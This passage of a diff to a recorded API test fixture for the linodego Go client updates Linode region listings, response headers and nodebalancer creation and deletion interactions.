1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -258,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:25 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -279,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228213}' + body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":501400}' form: {} headers: Accept: @@ -300,8 +313,8 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 441124, "label": "go-test-def", "region": "ap-west", "hostname": - "172-232-86-36.ip.linodeusercontent.com", "ipv4": "172.232.86.36", "ipv6": "1234::5678", + body: '{"id": 694188, "label": "go-test-def", "region": "ap-west", "hostname": + "172-105-46-54.ip.linodeusercontent.com", "ipv4": "172.105.46.54", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: @@ -316,15 +329,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:25 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -337,9 +354,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -355,14 +375,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441124/configs + url: https://api.linode.com/v4beta/nodebalancers/694188/configs method: POST response: - body: '{"id": 670342, "port": 80, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 1134762, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 441124, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694188, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -376,15 +396,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "437" + - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:26 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -397,9 +421,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -415,7 +442,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441124/configs/670342 + url: https://api.linode.com/v4beta/nodebalancers/694188/configs/1134762 method: DELETE response: body: '{}' @@ -431,15 +458,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -452,9 +483,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -470,7 +504,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441124 + url: https://api.linode.com/v4beta/nodebalancers/694188 method: DELETE response: body: '{}' @@ -486,15 +520,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -507,64 +545,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228213 - method: DELETE - response: - body: '{}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - 